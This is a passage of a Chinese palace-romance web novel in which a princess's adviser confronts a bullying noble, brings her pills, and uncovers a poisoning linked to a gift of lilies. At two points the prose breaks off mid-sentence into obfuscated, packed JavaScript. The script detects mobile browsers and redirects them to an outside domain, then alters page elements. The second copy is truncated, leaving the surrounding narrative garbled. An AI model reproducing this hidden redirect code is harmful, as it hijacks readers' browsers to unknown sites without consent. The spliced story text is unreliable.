林徵鸣倒是不觉得宋庭玉会因为这样的小事和底下人生气,何况陈伯也是为了她的身体好。只是陈伯唉声叹气一上午,时不时来他门徘徊几圈,实在是让人静不下心,索性自己揽了差事,往畅和园走一趟。 他走得急,步履匆匆的,生怕宋庭玉一顿药吃不到就要睁眼通宵,说不清究竟是为了她睡得好,还是因为自己急不可耐想见她。他不想深究,心底里却小声跟自己辩驳:我应该没有那么粘人吧。 陈伯看着他急声催促马车的背影,脸上哪里还有愁绪,笑得一脸得意。 刚转过身,肩头就被人拍了一下。他脸上的笑容还没来得及收回去,就对上了林徵鸣疑惑的眼。 陈伯脸上笑容一滞:“怎么回来了?” 林徵鸣狐疑地打量他片刻,突然笑了笑,福至心灵,不仅不计较他故意诱自己上钩,反而多出几分被认可的得意。 “拿个东西。” “不早了,去畅和园路上还得耽搁一段时间呢,你快点吧!”陈伯意识到他已经知道了自己的目的,索性也不再装。 林徵鸣几步冲进屋子里,翻箱倒柜一番,又很快抱着个盒子啪嗒啪嗒出来,冲陈伯一笑:“多谢!” 这几日他总看见林徵鸣常常把自己关在屋子里叮叮当当捣鼓什么东西,也没当回事,摆了摆手让他赶紧走,心里想:这样的好相貌,殿下看着也能多进一碗饭呢! 一路快马加鞭到了畅和园,林徵鸣让马车停下,自己先去了园子旁边宋庭玉的庄子一趟,然后从庄子后面进了畅和园的后门,本以为这样足以不引人注意,没想到却和一行人撞个正着。 “你!站住!” 曹文益喝住从自己身边低着头匆匆经过的一个侍女。 他沉湎酒色已久,出入都是王都有名的风月场所,即使是酒酣饭饱、醉眼朦胧地吟几句诗,也是上不得台面的淫词艳曲,如今日这般正经赏景作诗的风雅之事,他实在做不来,奈何他老娘镇国公夫人压着他不让走,非要他与几位名门之士作诗唱和。 笑话,他哪里会作! 好不容易找了个他娘被姑母叫去的时机,他瞅准机会,溜了出来,路上碰见几个臭味相投、惯常在一块儿玩的公子哥儿,几人嘻嘻哈哈、打打闹闹地,往园子深处走。畅和园不愧是皇家园林,春和景明,桃花争艳,端的是一派春日盛景,可是曹文益却没有欣赏美景的风雅,一想起今日办宴会的是昭平公主,他就气不打一处来。 “曹兄,那想着那日的事呢?我说你不至于吧,不过一个庄子上的黄毛丫头,哪里值当我们曹大公子如此惦记!你想要什么样的姑娘没有?” “唉,鲁兄此言差矣!曹兄哪里是惦记那个丫头,曹兄是被那位驳了面子,心里不爽利呢!”他朝着园子里努努嘴,几人都知道前些日子发生在枕楼门前的事,难得曹文益被人劈头盖脸夺了面子,可那人又是他得罪不起的,心有不甘也只能默默咽下,几时不时就要拿出来调侃一番。 “滚滚滚!别烦我!话多就去前头说,少在这里饶舌!”曹文益面色一红,咬牙切齿,随手一推,将两人扒拉开,自己闷头向前走。 余光中,一个熟悉的身形匆匆走过。他猛然一惊,随后是大仇即将得报的喜悦,忙不迭喝住那人。 那是个身材消瘦的姑娘,年龄不大,梳着与那日一模一样的双丫髻,低着头,瑟瑟发抖。“曹兄,你这是?”随行几人不明所以,以为他见色起意的老毛病又犯了,忙上前拉他:这可是昭平公主的园子,今日几家长辈都在此,万万不可闹出事情来! 曹文益想起因为枕楼那事,自己几次三番被老爹训斥,气不打一处来,看着这个被宋庭玉救下来的女孩儿,双眼泛起不正常的红,如野兽一般逼近,压低声音道:“你也有被我逮住的一天!” 随行几人听得这话,面面相觑,随后恍然大悟:原来就是这个丫头!还真是冤家路窄。 女孩儿已经苍白了脸,不敢抬头看他,抖着声道:“曹……曹公子自重,这可是公主殿下的园子。” 曹文益此时最听不得人提“公主”两个字,更是怒火中烧,冷笑:“我倒要看看,今日还有没有人来救你!” 说着,一把拉住女儿的胳膊,双手如钳狠狠拧着她,就要往山上走。 一边原本看热闹的几人,见曹文益是真的动了怒,踌躇在原地,不敢上前。 女儿哭喊着,拼命挣扎,却挣脱不了曹文益的手,握紧了拳头,眼神一暗,一只手已经伸进了袖子里。 “住手!”林徵鸣呵道:“何人敢在畅和园内放肆!” 曹文益动作一顿,抬起眼恶狠狠地看过去,冷笑一声:“我当时是谁,原来是你这个走狗!” 林徵鸣淡淡扫了女孩儿﹣﹣他和宋庭玉一起在枕楼前救下的杨珠儿一眼,她瑟缩一下,仿佛被这冷冰冰的眼神冻到,不动声色地收回了放在袖子里的手。 “曹公子是喝多了酒,忘记这是什么地方了吧?不如出去看看,这牌匾上写的是什么字。” 几个围观的人倒吸一口冷气:这人竟敢这样和曹文益说话。 曹文益像个被点燃的炮仗,与林徵鸣的新仇旧恨加在一起,如同喷薄的火焰,恨不得将他烧死才好。一把将杨珠儿推开,上前几步扯着林微鸣的领子,怒道:“你放什么屁!”林徵鸣侧过脸,像是很嫌弃一样躲开几步仰着头冷冷道:“曹公子,自己理亏就动手,实在不是君子风范。” 曹文益哪里还顾得上什么君子不君子,另一只手高高扬起拳头,就要对着这张讨人厌的脸狠狠砸下。 不知怎地,抓着林徵鸣衣领的那只手腕突然一酸,紧接着像是针扎般的疼,整个人仿佛都失去了力气。 林徵鸣握着他抓住自己衣领的手,像是无力挣开,口中愤愤:“曹公子,请放开!” 曹文益此时根本听不到他在说什么,只觉得自己的那只手腕仿佛被利刃穿透,那种痛顺着胳膊直达心口,疼痛扼住了他的喉咙,让他想喊都喊不出来。本想打人的那只手也无力地垂下,面目都变得扭曲起来。 几人眼看着不对劲,实在不想惹出大麻烦,毕竟这姓林的近来很得公主青眼。一开始说话的那个凑近二人,抓着曹文益的手腕,微微用力:“算了吧曹兄,不和他计较,今日天气好,咱们兄弟几个早早出城去喝个痛快!” 曹文益已经痛到麻木的手腕已经经不起任何的力道,“嗷”地一声喊了出来。那人倒是奇怪:曹兄这听起来不像是生气,倒像是在呼痛啊? 正疑惑,就听一个冷如寒冰的声音道:“你们在做什么?” 林徵鸣耳朵微微一动,手腕轻快地一翻。曹文益只觉得一股极大的力量将自己往前一拽,胳膊不受控制地猛一向前施力,眼前一花,再一抬头,林徽鸣已经向后退着倒了下去。他一惊,回头一看,身边两个人已经底下身子行起了礼,离他近的那个还拽了拽他的袖子,看向他的目光满是不赞同:曹兄,公主都来了,你怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362244|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么还把人推出去了呢! 曹文益又急又气,自己的胳膊还使不上劲儿,暴起高喊:“不是我!” “放肆!”菘蓝厉声道:“见到殿下,还不行礼!” 曹文益眉心一跳,恨恨瞪了菘蓝一眼,不情不愿低下头。 宋庭玉上前一步,一把扶着林徵鸣,没让他当中摔倒,皱眉看他:“没事吧?” 林徵鸣面上一副心有余悸的样子,咳嗽几声,摸了摸自己的脖子,哑声道:“我没事,劳殿下挂怀。殿下怎么来了?” 宋庭玉面色不愉地看着他皱巴巴的衣领和通红的脖子,面无表情地看着面前的三个人,视线轻飘飘地从瑟瑟发抖的杨珠儿身上略过,几不可察地停留了一瞬,然后慢慢移开。 杨珠儿微微松了口气。 曹文益身边的两个人想到她的鞭子,背后渗出一阵冷汗。 终于,在几乎要将人吞没的安静里,宋庭玉终于开口:“曹公子,是对本宫不满吗?”曹文益即使心中再有不忿,此刻也不敢表露出来,头埋得更低:“不敢。” 宋庭玉慢条斯理道:“本宫久不出来活动了,竟不知王都的规矩已成了这幅样子,在皇家的园子里强抢侍女,曹公子,你说,若是镇国公知道了,该如何向陛下解释啊?” 曹文益额头渗出冷汗,不等他说话,宋庭玉又道:“即便本宫看在镇国公夫人的面子上不与你计较,压下此事,只是,你三番五次找本宫幕僚的麻烦,口出狂言,又叫本宫该如何是好啊?” 另两个世家子弟已经傻在原地,先不说这调戏宫女的罪名落下来他们担不担得起,怎么听着公主这意思,骂林徵鸣几句,仿佛比调戏了宫女还要严重啊? 曹文益此时已经疼得说不出话,他自然察觉不到是林微鸣动的手脚,还以为自己是得了什么急病,心里恐慌,脚下一软,“扑通”一声跪在地上,颤声道:“小人有眼无珠,殿下恕罪!” 宋庭玉像是没料到他跪得如此迅速,奇怪地看了他一眼,淡淡道:“礼部侍郎家的公子陈珂文、鸿胪寺卿家的公子赵芝堂,今日之事,本宫自会一一知会,你们也不要怪本宫不讲情面,本宫虽是这畅和园名义上的主人,可说到底这里的一草一木、一花一树,乃至人来人往,哪个不是仰仗陛下?若日后酿成大祸,那后果才是真的不堪设想。” 曹文益身后的两个人刚站起身,此时被宋庭玉三言两语吓得几乎又要摔倒在地,他们本就是不务正业的纨绔子弟,哪里晓得这里的弯弯绕绕,只看宋庭玉说得煞有介事,还以为真的得罪了陛下,登时恐慌不已,心里对曹文益也不免埋怨起来。一听宋庭玉不将他们的事情告诉陛下,只是告诉他们家里人,不过是挨顿打罢了,顿时喜不自胜,连连告罪,也不管曹文益了,撒腿就跑。气的曹文益一瘸一拐,扶着自己的胳膊跟在后面,狼狈不堪。 宋庭玉不会将他们几个放在心上,转头看着杨珠儿道:“你怎么会在这里?”杨珠儿听她方才说自己是畅和园的宫女,心里一喜,以为她没认出自己来,此时见她目光灼灼地看着自己,吓得头页不敢抬,嗫嚅道:“奴婢……奴婢是来给殿下送花的。” 宋庭玉皱眉:“什么花?” 杨珠儿鼓起勇气抬起头,面上一副楚楚可怜的神情,低声道:“殿下救了奴婢一命,奴婢心里感激,愿意做牛做马报答殿下,听闻此次殿下过来畅和园,奴婢喜不自胜,特意摘了庄子上新开的百合,送到殿下屋子里,愿殿下身体康健。” “大胆!谁让你进殿下的屋子的?!”菘蓝一惊,忙跪下请罪:“奴婢不知这丫头是何时跑进殿下在这边的屋子的,奴婢该死!” 杨珠儿也吓得不轻,显然没想到那日和和气气的昭平公主此时威严甚重,像所有皇室中人一样眼睛里容不得半点沙子,哪有半分好糊弄的样子?她心如擂鼓,连忙跟着跪下。 宋庭玉静默片刻:“查清楚。” 说完,看也不看二人,转身离去。 林徵鸣若有所思地回头看了一眼杨珠儿,脸上露出一个耐人寻味的表情,跟在宋庭玉后面,三两步赶上了她。 12. 中毒 “殿下!” 宋庭玉步子迈得不快,像是不经意在等什么人似的,林徵鸣识相地跟上,两人走进了一处水榭。 林徵鸣看她脸上没有多余的表情,不像是生气的样子,试探道:“殿下不必介怀,此人若真是心怀不轨,此时查清楚了,一并处理也是好事,起码未酿成大祸。” 宋庭玉却没有在想这件事,一开始她就对杨珠儿心怀戒备,只不过此时正中下怀罢了。她看着林徵鸣,目光不经意扫过他依然隐隐泛红的脖子:“你怎么来了?” 林徵鸣从袖笼里掏出一个小瓶子:“殿下夜间睡不踏实,陈伯让我来给殿下送药。” 宋庭玉莫名其妙地看着这个瓶子,半晌无语道:“这不是本宫惯常吃的药。” 林徵鸣一笑:“我知道这不是殿下的药,只是陈伯说殿下素来不喜汤药,故而我将姜大人的方子改了改,做成了丸药,这样殿下吃着就不会那么苦了。” 宋庭玉默然。她失眠多梦已经是老毛病了,太医院的药换了几茬,总不见好,其实也不是太医的问题,是她自己不愿意吃药,有一顿没一顿的,自然不起作用。她素来知道自己不该任性,不过几服汤药罢了,连小孩子都知道良药苦口,可她就是不愿意喝。那种咽下去后依然在口中缠缠绵绵、挥之不去的苦涩,总让她想起小时候刚从宫里出来时,自己生的那一场大病,永远喝不完的药,和永远醒不过来的噩梦。 这是她不愿与人提起的伤疤,仿佛她有多软弱似的,于是到了别人口中,就变成了一个简单却不容抗拒的命令“殿下不喜汤药。” 只是,不喜欢又能怎么样呢?药还是要吃的,病还是要治的,就连敬慈夫人明里暗里也说过她好几次,敲打她,让她记住,她的身体不只是她自己的身体,更是宁氏一族的希望。 宋庭玉不知道,原来不喜欢喝汤药,是一件这么容易解决的事,只要把汤药换成丸药就好了,那为何一直没有人告诉她呢? 是不在意吧,这么一件小事,忍忍就好了啊。 她沉默的时间太长,林徵鸣以为她心里仍有疑虑,毕竟刚刚出了杨珠儿的事,她保持警惕也是好事。于是,他拆开药瓶,从里面倒出一粒来,仰头吃下,咽了下去,示意她看。 宋庭玉惊呆了,想要去阻拦时已经来不及,目瞪口呆地看着他将丸药咽下,气道:“你这是做什么,是药三分毒,哪能随便吃呢!” 林徵鸣含笑看着她,默默无言。 宋庭玉哪能猜不到他是什么心思,一时不知道是该夸他有眼色,还是该怪自己敏感多疑,叹了口气道:“你不必如此,本宫对手下的人自然是信任的,你既是本宫的幕僚,在本宫的心里,和忍冬、陈伯他们都是一样的。” 林徵鸣笑容一僵,有些苦涩地想:“原来也只是个幕僚吗。”转念又安慰自己起来:她本就是多疑的人,自己一个毫无身份的南梁人能在如此短的时间里获得她的信任,在她眼里和贴身侍女一样,那已经是很特殊的了,再接再厉,定然能更进一步! 宋庭玉不知道他想了些什么,见他面色一会儿阴一会儿晴,暗自好笑,从他手里接过青玉瓶,笑道:“多谢你,费心了。” 林徵鸣摇摇头,看着她的目光有些傻气。 宋庭玉心头蓦地一软。 清风拂过,桃花纷飞,落英仿佛也长了眼睛似的,追着好看的人,于是不一会儿,宋庭玉和林徵鸣的身边就落满了点点粉红,像一个绮丽的梦。 一片花瓣轻轻落在林徵鸣肩头,他没有察觉到,只是目不转睛地看着她。漫天花雨里,宋庭玉方体会到一些赏景的乐趣:不单在景,亦是在人。 她看得出神,没有意识到,在这一瞬间,自己也成了别人眼中的无边盛景。 两人之间黏稠得过分的氛围被一个匆匆而来的侍女打断。 “殿下。” 宋庭玉猛地一惊,才发觉自己竟然看着他发了这许久的呆,有些尴尬,不敢去看林徵鸣的表情,飞快道:“怎么了?” 小小侍女不知道殿下为什么突然直勾勾看着自己,结巴一下,怯怯道:“殿下,贵妃娘娘有请。” “走吧。”宋庭玉脚步匆匆,跟着侍女离开。林徵鸣回过神,恍若在梦中,摸了摸自己为微微发烫的脸,赶紧深吸一口气,快步跟上她。 颖贵妃为什么会突然来请宋庭玉呢?自然是因为她那个不争气的侄儿曹文益。 她和几位夫人长久未见,自己又久不出宫,聊得正快活,就听芷蓉在自己耳边低声几句,登时吓得手上的茶杯都拿不稳,恍惚之间茶水溅到了自己的手上,她恍若未觉,紧紧抓着芷蓉的手:“殿下怎么说?” 芷蓉摇摇头:“小公子只说要回去看大夫,没说殿下的意思。” 颖贵妃不知想起什么,挤出一个笑,对着几位夫人道:“本宫还有些事,几位夫人慢用,失陪了。” 说着赶紧去了后园自己休息的地方,又派人去请宋庭玉来。 几位夫人对视一眼,不知发生了什么事,离得最近的靖国公夫人面露异色,只听见了“看大夫”几个字,她想起威名远扬、鞭打驸马的昭平公主,打了一个寒颤:那公主,该不会是把曹家侄儿给打了吧! 这厢林徵鸣不便跟去后园,见四下无人,找了个靠水的石凳坐下,姿态悠然,闭目养神一会儿,就听见身边有轻轻的脚步声,他睁开眼睛循声望去,是刚才同荣安县主她在一起的女子,他想了想,好像是金吾卫将军的妹妹李幼宜。 人都走到身边了,也不好装作没看见,林徵鸣起身微微点了点头。他现在的身份是昭平公主府上的门客,又是在这样一个宴会上,不好直接同其他世家贵女接触,见她孤身一人,便准备离开。没想到身后李幼宜轻声道:“林先生留步。” 林徵鸣顿了顿,转身道:“李小姐。” 李幼宜没想到他竟然知道自己是谁,如此近距离地看着他的脸,只觉得风采照人、气度非凡。她定了定神,将心中已经演练了千百遍的话娓娓叙出:”林先生在东宫诗会上一鸣惊人,文采才学令人钦佩。幼宜略略读过几本书,这几日拜读了《延熙录》,心中更是叹服。“ 《延熙录》就是今年东宫诗会上的诗文集录,每年举行完类似的集会,举办者都会将诗文整理成册,印发全国,今年的《延熙录》更是极受欢迎。 林徵鸣不知道她想说什么,只好微微点了点头,道:”承蒙厚爱。” 李幼宜从没见过身边的读书人有这样的风采气度,林徵鸣一介白衣,可见到达官贵人总是一副平静的神色,不卑不亢,她心中更是钦佩。鼓起勇气道:“先生有大才,可囿于世俗眼光不能一展宏图之志,幼宜愿为先生助一臂之力。父亲是当今镇国公,拜文渊阁大学士,先生若有意,幼宜愿意引荐一番,日后若能入朝,也不枉先生一腔才学。” 林徵鸣倒是没想到她能说出这样一番话,他听说这位幼宜小姐是李家庶女,可提起父亲镇国公来也没有半点踌躇,向来在家中也是极受重视的。他摇摇头:”多谢小姐赏识,可林某受公主洪恩,自然不能辜负。“ 李幼宜有些着急,上前一步道:”昭平公主毕竟是一介女流,在她府中做门客不仅不能人朝为官,还有损先生名声,历来公主门客都被后人称佞幸,先生……“ 她毕竟还是一个没有出阁的小姑娘,又常年受到严格教导,说起这样的话来有些不适应,脸也微微涨红。 林徵鸣正色道:”李小姐慎言。公主虽是女子,但胸怀广阔,能容人所不能容之事,心性聪慧,不拘小节,李小姐自己也是女子,又饱读诗书,自然知道不在背后说人的道理。更何况主身份尊贵,岂能容人背后说三道四。“ 他这话说得有些严厉,李幼宜从没被人这样当面抢白过,又是被自己一心钦慕之人,一时之间只觉委屈不已,一双手在袖中紧握成拳,指甲嵌进了掌心,脸色也渐渐变得苍白。林徵鸣素来冷心冷情,在南梁时有多少男男女女被他这样拒绝过,上至达官贵人,下至平民百姓,呛过的人不可胜数,他本就不是什么良善之人,见李幼宜一时半会儿反应不过来,也没有什么侧隐之心,点头告辞,只留李幼宜一个人在林中,孤零零的,神态凄然地看着眼前桃花满枝丫的林子,一会儿实在忍不住,低声啜泣起来。 林徵鸣想着时间应该差不多了,穿过廊亭,到了一处幽静的小花园,穿过花园外的月亮门不远,就是贵妃她们说话的地方。他慢慢走了几步,刚过转角,肩上就被人轻轻拍了一下。他回过身,见是宋庭玉,脸上露出一个微笑:”公主同贵妃谈完了? 宋庭玉抱着手臂,不说话,只是歪着头看他,又绕着他慢悠悠地转了一圈,林徵鸣不明所以,见她脸上一副兴味十足的样子,便也不说话,由着她打量。宋庭玉又停下来静静端详他片刻,才悠悠开口道:“林公子好凶啊,可真是让人害怕,都将人说哭了呢。” 林徵鸣霎时明白过来,苦笑道:“公主都看见了?我也不知道李小姐怎么就突然过来了。”他低着头,一副被人抓到很难堪的样子,有些手足无措。 宋庭玉饶有兴致地看了他半响,低声道:“可本宫觉得,李小姐说得还挺有道理的,她父亲是朝中重臣,在父皇面前颇说得上话,你若是能有镇国公引荐,此后在朝中可就是平步青云、一展宏图了,如曹文益之流,便再也不可能在你面前说些辱没人的话,怕是巴结你都来不及呢。” 林徵鸣一脸正色,掷地有声道:“公主这才是在侮辱在下。” 宋庭玉有些惊讶,退开几步瞪着眼睛看他:“本宫侮辱你?这可是好大一顶帽子啊。” 林徵鸣面上露出几分委屈,也不看宋庭玉,低声道:“在下一介白衣人元夏,虽才疏学浅.可也是正经寒窗苦读十几年的读书人,也是有几分气节的,得公主赏识,定是要为公主肝脑涂地、以报恩情的,怎么会作出朝秦暮楚、三姓家奴之事?公主说这话,真是看轻了我。” 宋庭玉简直要被他这倒打一耙气笑了,深吸一口气道:“这么说还是本宫的错了?” 林徵鸣继续添柴架火,微笑道:“不敢,公主怎会有错。” 宋庭玉翻了个白眼,第一次感觉到被人噎得说不出话来,转身就走。 林徵鸣见状不敢再装模作样下去,快走几步,揣着手臂,状似什么都没发生的样子,笑问道:“今日要歇在庄子上吗?” 宋庭玉现在是真的很想给他找点事做,不拘是什么事,只要别在自己眼前晃就行。可一时半会儿又找不到什么事打发他,只好冷哼一声。 四月的畅和园美不胜收,因为建在半山上,芳菲正盛,宋庭玉的庄子就在畅和园外不远。今日她本来要歇在园子里,只是没想到发生了杨珠儿的事,所以只好带着人去了自己的庄子上。好在公主府的下人向来手脚麻利,提前安排了人来收拾。 屋子里上下一新,林徵鸣跟着宋庭玉进来,打量一番这个房间,感觉和公主府的布局颇为相似。 “这是我母亲出嫁时的陪嫁,母亲去世后,父皇让人将母亲的嫁妆收拾出来,一并交给了我,连带着这庄子。” 林徵鸣点点头,在外间转了转,鼻尖微微一动。 “怎么了?” 林徵鸣摇了摇头:“没什么,有股百合的味道。” “百合?这里也有?”宋庭玉使劲吸了吸鼻子,没闻见什么特殊的香气,疑惑地看向林徵鸣。 他笑了笑:“我天生嗅觉比别人灵敏些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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林徵鸣一怔,低头看自己的手,左手食指的指尖不知何时破了一道口子,有血渗出来。 他连忙起身:“殿下恕罪。” 宋庭玉无语:“不过是个杯子罢了,来人,拿干净的帕子来,你快包起来。”她看向林徵鸣的手,上面不知不觉多了不少茧子,左手其他手指的指尖也有长短不一的伤口,像是很锋利的小刀划出来的口子,皱眉问:“你这是怎么弄得?” 林徵鸣接过侍女手中的帕子,自己将伤口包了起来,笑得有些不好意思:“上次殿下说了以后,陈伯在园中为我辟了一处园子,平日可以种种药材,这是处理药材时不慎伤了手,不妨事。多谢殿下关心。” 宋庭玉摇摇头:“你还真是喜欢医理,日后若有机会见到姜太医,你们一定很有话说。行了,坐下用饭吧。” 她拿起筷子,没有再碰放在一旁的茶杯。林徵鸣余光扫过,微微一顿,面上看不出什么。 春日盛景,春时鲜蔬,又有美人在侧,举止优雅,赏心悦目。”春在溪头荠菜花",春景、春菜、春茶配上春天插科打诨讨人欢心的美人,人生乐事不过如此。宋庭玉心情愉悦,不知不觉多用了些。 早上为赶路起得太早,中午时宋庭玉多睡了会儿,醒时已过未时,又叫上林徵鸣陪她出门转了转,回来时日薄西山,橙红的夕阳碎金般洒在波光粼粼的水田里,宋庭玉站在田垄上,鞋袜被青青禾苗上的露水打湿,还沾了几点泥土,她倒是不在意,林徵鸣扫过一眼,很快移开了目光。 回到庄子上时,宋庭玉没有再传膳,菘蓝让小厨房熬了鸽子汤备着。她泡了一场药浴,被热水和药香熏得昏昏欲睡,出来刚坐到床上,菘蓝就端了个炭盆进来。 “不必了吧,今日夜里有点热。”宋庭玉看见炭盆,只觉得刚刚消下去的汗又冒了上来。 “那哪行呢,四月的天气,殿下若是不烘干头发明日定要风寒的。” 菘蓝手脚麻利地将炭盆放在床边,拿过干净的布巾给她净了手。 宋庭玉起身坐到椅子上,任菘蓝给她擦着头发,半眯着眼睛问:“如何了?” 菘蓝低眉敛目:“她是偷偷溜进园子里的,像是身材瘦小,守卫竟没有看见她,就让她这么偷跑进了殿下的房里。她进去后没做什么别的手脚,只是在殿下的窗前放了一瓶花,是新鲜的百合,奴婢请人看了,并无异常,便让管事处理了。想来那丫头是想在殿下面前露脸,没成想弄巧成拙了。” 宋庭玉闭眼沉思,还是觉得哪里不对劲:“畅和园里的护卫都是宫里出来的好手,武艺高强,更何况今日有贵客在此,守卫更是比平日严密,她一个身手平平的小姑娘究竟是如何从重重护卫的眼皮子底下溜进本宫的房间的?若说只是因为身材瘦小,本宫觉得另有蹊跷。” 菘蓝犹豫片刻,突然想起什么似的:“还有一件事。之前殿下让人送她来庄子上,奴婢派人去李家庄打听过了,杨珠儿是李老汉收养的女儿,两年前才因为饥荒逃难来他家,因为少时没饭吃,所以显得瘦小,实际上她已经有十九岁了。” 宋庭玉指尖无意识拨动着垂下的一缕头发,沉吟道:“十九岁吗……”她摇摇头:“这杨珠儿出现得甚是奇怪,她的身上有太多无法解释的巧合了,若是过多的巧合凑在一起,那就不是巧合,而是有人故意为之了。看紧她,万万不可再出现今日这样的事了。” “是!”菘蓝点点头。 宋庭玉摸了摸自己的头发,感觉已经干了,打了个哈欠,摆摆手道:“本宫累了,要早点歇着。” 菘蓝将她送到床上,服侍她躺下,放下帘子。她吹灭了床前的两根蜡烛,正要推门出去,就听外面有人敲门,是庄子上的管事,声音焦急,还有几分慌乱,大声道: “禀殿下,不好了,咱们庄子外有人中毒了!” 13. 借刀 宋庭玉深深叹了口气,深感自己今日真是流年不利,好不容易办一次春花宴,怎么偏偏都挑在今日出事。 她抬了抬下巴,示意菘蓝先去看看怎么回事,自己穿了外袍,又裹了一层斗篷,才推开门往正堂去。 堂屋里一群人围在塌边,隐约还有女孩子的哭泣声,见宋庭玉进来,原本站在床边的菘蓝起身小声道:“是李小姐。” 宋庭玉皱眉,赶忙上前几步,就见李幼宜已经被安置在榻上,脸色苍白,双目紧闭,嘴唇泛着不正常的紫红色,袖口沾了泥水。 床边趴着低声哭泣的是早上见过的那位工部沈郎中家的小姐沈青禾。 宋庭玉问菘蓝:“可叫了大夫?” 菘蓝道:“已经去叫了,颖贵妃娘娘那边有随行太医,只是天晚了不知过来要多久。” 宋庭玉看了一眼呼吸微弱的李幼宜:“这边庄子上可有郎中什么的?总不能这样干等着。” 管事没见过这样的场面,已经慌了神,但见宋庭玉深情冷静,心下稍安,摇摇头:“庄子上的郎中都是村里的赤脚大夫,住在十里外的村子里,天黑路远,恐怕还不及畅和园那边的来的快。” “我试试吧。”门口传来林徵鸣的声音。 宋庭玉回过头,见他一身常服,显然也是刚换了衣服就赶了过来。 “这不是寻常小事,若她真有什么三长两短,你今日不看也就罢了,若真看了,那就是你的事了。”畅和园离庄子并不远,没到万不得已的时候,她不愿意让自己的人牵扯其中。 林徵鸣安抚似的拍了拍她的胳膊,给了她一个坚定的眼神:“相信我,没事的。” 宋庭玉转头看向床上,方才还喘息急促的小姑娘此时已经出气多进气少了。当下让开一条路,让林徵鸣过去,正色道:“不要勉强。” 林徵鸣点点头,几步走到床边,仔仔细细看了李幼宜的神色,又抬起她的手腕,细细把脉。 宋庭玉从菘蓝手里接过帕子递给哭得上气不接下气的沈青禾,拍拍她的肩,柔声道:“你也别哭了,如今有人给她看看,你也要告诉我们究竟是发生了什么事,你们怎么会在我的庄子上,她可是用了什么不干净的东西?” 沈青禾也知道自己这会儿不好在添麻烦了,只是到底是官家出身的娇小姐,第一次遇到这种人命关天的事情,早已经慌了神,这会儿见到宋庭玉就像是见到了亲人,深呼吸几口,努力平复了自己的心情,抽抽噎噎道:“晌午我和幼宜还有荣安她们一同用了饭,吃饭时幼宜的神情就有些不对劲,闷闷不乐的,荣安说了他两句,她们就吵起来了,之后幼宜就一个人出了门,说要出去散散心。直到天快黑了,我见幼宜还没有回来,就有些着急,又不好惊动贵妃娘娘,就自己带人在园子里找了找,后来是园子的看守告诉我幼宜出了园子,我这才慌了,赶紧出门找,一路寻找过来,就在庄子边上的林子里找到了她,当时她就躺在树下昏迷不醒,我就赶紧叫了庄子上的人来帮忙。” 宋庭玉仔细听着,一时也听不出究竟有什么异常,沈青禾的叙述都是她自己的感受,可能会遗漏什么关键细节也说不定。 那边,林徵鸣已经放下了她的手腕,皱着眉从袖中掏出一个白玉小瓶,倒出两粒药,捏开她的下巴,放入口中,又半扶起她的背,拍了拍,见药丸咽下去了,才松了一口气。 “怎么回事?”宋庭玉也走到床边,几句话的功夫,床上的人像是突然可以喘气儿了似的,绛紫色的嘴唇渐渐泛起红。 林徵鸣看她神色好转,才起身道:“没什么大碍,只是误服了不合适的东西,李小姐平日可能对一些特定的食物不服,所以才会出现这样的症状。” “食物不服……”沈青禾闻言,长舒一口气,细细思索片刻,疑惑道:“平日没听说过幼宜有什么不服的东西,倒是闻不得百合的味道,可是今日我们并没有见到百合啊,真是奇怪了。”她看着李幼宜苍白的脸色,眼泪扑簌簌往下流,俯在李幼宜身边紧紧握住她的一只手,泪眼汪汪地看着林徵鸣:“那林先生,这不服之症要不要紧啊,该如何解?” 林徵鸣看了她一眼,摇了摇头,安慰似的道:“不要紧的,按我开的方子服药即可。” 说罢,他转身拉过宋庭玉,示意她到外间,待走到沈青禾听不到的位置,才低声道:“李小姐呼吸不畅、胸胁胀闷、口舌赤红但是嘴唇发紫,是热毒之症。方才我给她服了冰玉丸,可以暂且压制毒性,可若要解毒,还是要查出她究竟中了什么毒。” 宋庭玉一惊,“中毒?”她心情烦躁,这春花宴是她办的,若真传出镇国公家的女儿在自己的宴会上中毒之事,她必然功亏一篑。想到这里,她看了林徵鸣一眼,这人心细如发,倒是十分周到。她招招手叫来菘蓝:“让人去问问沈姑娘,看看今日她们都去过什么地方,好好查,有任何异常之处,皆要报来。” 她回过头,见林徵鸣一副欲言又止的样子,歪头看他:“你还有什么话没说?” 林徵鸣犹犹豫豫地看着她:“我方才,在李姑娘身上,闻到了一股百合的味道。” 又是百合! 宋庭玉背着手,原地踱了几步,突然道:“我们今日在畅和园的后花园遇见了李姑娘,那里离我住的地方不远,难道是……菘蓝!今日杨珠儿手里的那束百合扔在哪里了?赶快拿过来!” 林徵鸣一下子意识到了她的猜测,急忙补充道:“找个布包兜过来,你们戴着面巾去,不要接触,那束百合可能有毒。” 菘蓝一惊,想到那束百合本来应该出现在她家殿下的案头,登时打了个冷颤,忙带着人出去了。这厢,宋庭玉又命人去杨珠儿的屋子里搜查,林徵鸣自告奋勇要一起去,说万一能找到解药,就能尽快救下李幼宜。 宋庭玉点头应了。 果然不一会儿,林徵鸣就拿着一个黑色乌木盒子进来,他身后,菘蓝一手提着一个布袋子,里面是鲜嫩欲滴的百合。本是娇艳夺目的花儿,如今在宋庭玉的眼里,却带了几分夺命的惊悚。 林徵鸣示意她将布袋放在屋外,自己上前,扒开百合的花蕊仔细看了看,笑道:“是这个了。” 宋庭玉凑近了,菘蓝忙拦住她,不让她靠近。 林徵鸣摆摆手:“不必惊慌,这毒要吸进肚子里才能发作,远远看上一眼,不会有事的。 “那李姑娘怎么会?” 